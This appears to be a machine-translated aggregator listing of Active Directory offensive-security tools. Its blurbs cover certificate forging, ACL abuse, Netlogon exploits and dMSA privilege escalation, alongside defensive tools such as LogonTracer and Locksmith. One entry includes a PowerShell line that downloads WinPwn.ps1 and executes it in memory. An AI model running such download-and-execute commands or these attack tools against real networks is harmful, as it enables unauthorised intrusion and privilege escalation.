gpp-encrypt

gpp-encrypt 説明 この小さなスクリプトは、パスワードをgpp cpasswordに暗号化します。脆弱なラボADを作成するのに便利です。 必要条件 このパッケージが必要とするもの: python3 python3 標準ライブラリ インストール root@kitploit: git clone "https://github.com/mauricelambert/gpp-encrypt.git" cd "gpp-encrypt" python3 -m pip install -r requirements.txt 使用方法 コマンドライン root@kitploit: pytho...

monkey365

...

gpoParser

gpoParser gpoParser は、Active Directory 環境でグループポリシーオブジェクト GPO を通じて適用される構成を抽出・分析するために設計されたツールです。 これらの設定の列挙は退屈で時間がかかる可能性があるため、このツールは適用されたポリシーをより明確に理解し、横移動や権限昇格を可能にする危険な構成を特定するのに役立ちます。 これは leHack 2025 と DEFCON 33 で発表されました。 インストール 注: gssapi パッケージには依存関係が必要です: libkrb5-dev を sudo apt install libkrb5-dev...

CVE-2020-1350

CVE-2020-1350 CVE-2020-1350 概念実証 環境設定 1. Windows Server 2016 をダウンロードする 2. Linux マシン このスクリプトを実行するためのセカンダリマシン をダウンロードする 3. Windows Server 2016 に Active Directory/DNS をインストールする 正規のドメイン名を 33y0re.com にしたとします 4. Windows 2016 サーバーに DNS レコードを まだ 作成しない 5. Windows Server 2016 イメージに、Linux マシンの IP...

ADReaper

ADReaper ADReaper는 Golang으로 작성된 도구로, LDAP 쿼리를 사용하여 몇 초 내에 Active Directory 환경을 열거합니다. 설치 Windows/Linux용 사전 컴파일된 실행 바이너리는 최신 릴리스에서 다운로드할 수 있습니다. 소스에서 설치 소스에서 빌드하려면 저장소를 클론하고 GO로 빌드하세요. root@kitploit: $ git clone https://github.com/AidenPearce369/ADReaper $ cd ADReaper/ $ go build 사용법 ADReaper는 다양한...

acltoolkit

acltoolkit acltoolkit은 ACL 남용을 위한 스위스 군용 칼입니다. 여러 가지 ACL 남용을 구현합니다. 목차 acltoolkit 목차 설치 사용법 명령어 get-objectacl set-objectowner give-genericall give-dcsync add-groupmember set-logonscript 설치 root@kitploit: pip install acltoolkit-ad 또는 root@kitploit: git clone https://github.com/zblurx/acltoolkit.gi...

linWinPwn

linWinPwn - Linuxを使用したActive Directoryペンテストのためのスイスアーミーナイフ 説明 linWinPwnは、多数のActive Directoryツールをラップするbashスクリプトであり、列挙（LDAP、RPC、ADCS、MSSQL、Kerberos、SCCM）、脆弱性チェック（noPac、ZeroLogon、MS17-010、MS14-068）、オブジェクト変更（パスワード変更、ユーザーをグループに追加、RBCD、Shadow...

Pentest-Tools-Collection

ペンテストツールコレクション Active Directory AMSI https://amsi.fail/ ツールコレクション WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack https://github.com/GhostPack...

ForgeCert

ForgeCert ForgeCertは、BouncyCastle C APIと、侵害した認証局（CA）の証明書と秘密鍵を使用して、Active Directoryに対して認証可能な任意のユーザーの証明書を偽造します。 この攻撃は、私たちの「Certified Pre-Owned」ホワイトペーパーにおいてDPERSIST1として体系化されています。このコードベースは、ホワイトペーパー公開から約45日後にリリースされました。 @tifkinはForgeCertの主な作者です。 @tifkinと@harmj0yは、関連するActive...

LogonTracer

개념 LogonTracer v2 는 Windows Active Directory 이벤트 로그를 시각화하고 분석하여 악성 로그온을 조사하는 도구입니다. 이 도구는 로그온 관련 이벤트에서 발견된 호스트 이름또는 IP 주소과 계정 이름을 연결하여 그래프로 표시합니다. 이를 통해 어떤 계정에서 로그인 시도가 발생하고 어떤 호스트가 사용되었는지 확인할 수 있습니다. 이 도구는 Windows 로그온과 관련된 다음 이벤트 ID를 시각화할 수 있습니다. 이벤트 ID| 설명 ---|--- 4624| 로그온 성공 4625| 로그온 실패 4662...

GPOddity

GPOddity GPOddity 프로젝트는 NTLM 릴레이및 기타 방법를 통해 GPO 공격 벡터를 자동화하는 것을 목표로 합니다. 공격에 대한 자세한 내용과 도구 사용 방법 데모는 다음 문서를 참조하세요: https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more 설치 Pipx 다음 명령어로 pipx를 통해 GPOddity를 설치할 수 있습니다: root@kitploit: $ python...

CVE-2026-54121-Certighost

🛡 AI Security Tool モジュール CVE-2026-54121: Active Directory Certificate Services なりすまし Certighost AI Security Tool エコシステム向け公式セキュリティ監査モジュール 🌐 Web デモ • 📚 プロジェクトサイト • 💬 コミュニティチャット ウェブサイトナビゲーション: ホーム • アップデート • ダウンロード • モジュール 🧠 概念の概要 本モジュールは、Certighost と呼ばれる CVE-2026-54121...

gssapi-abuse

gssapi-abuse gssapi-abuse는 제 DEF CON 31 발표의 일환으로 공개되었습니다. 해당 취약점 벡터에 대한 전체 글은 다음에서 확인할 수 있습니다: A Broken Marriage: Abusing Mixed Vendor Kerberos Stacks 이 도구는 두 가지 기능을 제공합니다. 첫 번째는 Active Directory에 가입되어 SSH를 통해 GSSAPI 인증을 제공하는 비 Windows 호스트를 열거하는 기능입니다. 두 번째 기능은 올바른 정방향 및/또는 역방향 조회 DNS 항목이 없는 GSSA...

Locksmith

Locksmith root@kitploit: | | | | |/ | | | | | | || | || | | \ | | | | | | | | .--. .--. .--. /.-. '----------. /.-. '----------. /.-. '----------. '-' .---'-''-'-' '-' .--'--''-'-' '-' .--'--'-''-' '--' '--' '--' Active Directory Certificate Services（AD CS）における一般的な設定ミスを発見・修正するために作られた小規模なツールです。...

EDD

CodeFactor EDD Enumerate Domain Data는 PowerView와 유사하지만 .NET에서 동작하도록 설계되었습니다. PowerView는 본질적으로 최고의 도메인 열거 도구이며, 우리는 직접 작업한 .NET 구현체를 원했습니다. 이 도구는 다양한 기존 프로젝트의 여러 기능 구현을 살펴보고 이를 EDD에 결합하여 대부분 구성되었습니다. WPF 프론트엔드 사용법 EDD를 사용하려면 애플리케이션을 호출하고, 실행하려는 함수아래 나열를 제공하며, 함수에서 사용하는 선택적/필수 매개변수를 제공하면 됩니다. 인수:...

BloodHound-Legacy

BloodHound 레거시 에디션 v4은 더 이상 사용되지 않습니다 이 저장소는 2023년에 마지막으로 업데이트되었고 더 이상 유지 관리되지 않는 BloodHound Legacy버전 4를 위한 것입니다. 가까운 시일 내에 보관될 예정입니다. 새로운 BloodHound 커뮤니티 에디션을 사용해 주세요 BloodHound Legacy는 무료 BloodHound Community Edition으로 대체되었습니다: BloodHound Community Edition GitHub 저장소 설치 안내 전체 문서 BloodHound는...

onelogon

Onelogon: Netlogonを介したActive Directoryアカウントの乗っ取り このリポジトリには、本論文「 Onelogon: Netlogonを介したActive Directoryアカウントの乗っ取り」WOOT'26に付随するコードとデータが含まれています。 1. 背景 2. 引用方法 3. アーティファクトの構成とセットアップ 4. テスト環境のセットアップ 5. 脆弱な構成のスキャン 6. エクスプロイト 7. 測定結果の再現 背景 本論文で概説する脆弱性は、Zerologon脆弱性に対する2020年の暗号化パッチの弱点を攻撃するものです。...

CVE-2026-41089-Netlogon-RCE

🚨 CVE-2026-41089：Windows Netlogon 严重远程代码执行漏洞 在 Active Directory 域控制器上实现未认证远程代码执行 🧠 概念概述 我正在发布对 CVE-2026-41089 的技术剖析，这是一个深藏于 Windows Netlogon 服务内部的极其严重的漏洞。我的分析表明，该缺陷根源于一个严重的基于栈的缓冲区溢出 （CWE-121）。通过向存在漏洞的域控制器发送经特殊构造的畸形网络请求，未认证攻击者即可引发内存破坏，并在系统级无缝执行任意代码。 🎯 核心影响理念 “掌控 Netlogon 者，即掌控整个王国。” 由于该漏洞无需任何用户交互...

flashingestor

flashingestor Active Directory 수집을 위한 TUI입니다. 철학 이 프로젝트의 주요 목표는 다음과 같습니다: 1. BloodHound CECommunity Edition와 호환되는 완전한 데이터 수집기 가 되는 것 2. 다른 수집기보다 더 빠르고, 덜 눈에 띄며, 더 사용자 정의 가능 할 것 3. 진행 상황을 추적할 수 있는 친숙한 TUI터미널 사용자 인터페이스 제공 데모 구현 세부 사항 Flashingestor는 다른 수집기들이 지정된 메서드를 단일 단계로 실행하는 것과 달리, LDAP 수집, 원격 수...

Invoke-BadSuccessor.ps1

Invoke-BadSuccessor 脆弱な組織単位OUにおける委任管理サービスアカウントdMSAの作成権限を悪用して、Active Directory環境で権限を昇格させます（BadSuccessor脆弱性 – CVE-2025-53779）。 概要 Invoke-BadSuccessorは、Windows Server 2025 Active DirectoryにおけるdMSAの設定ミスと委任を悪用して、特権昇格攻撃チェーンを自動化します: 現在のユーザー（またはそのグループ）がCreateChild 権限を持っているOUを特定します。 マシンアカウント を作成または再利用します。...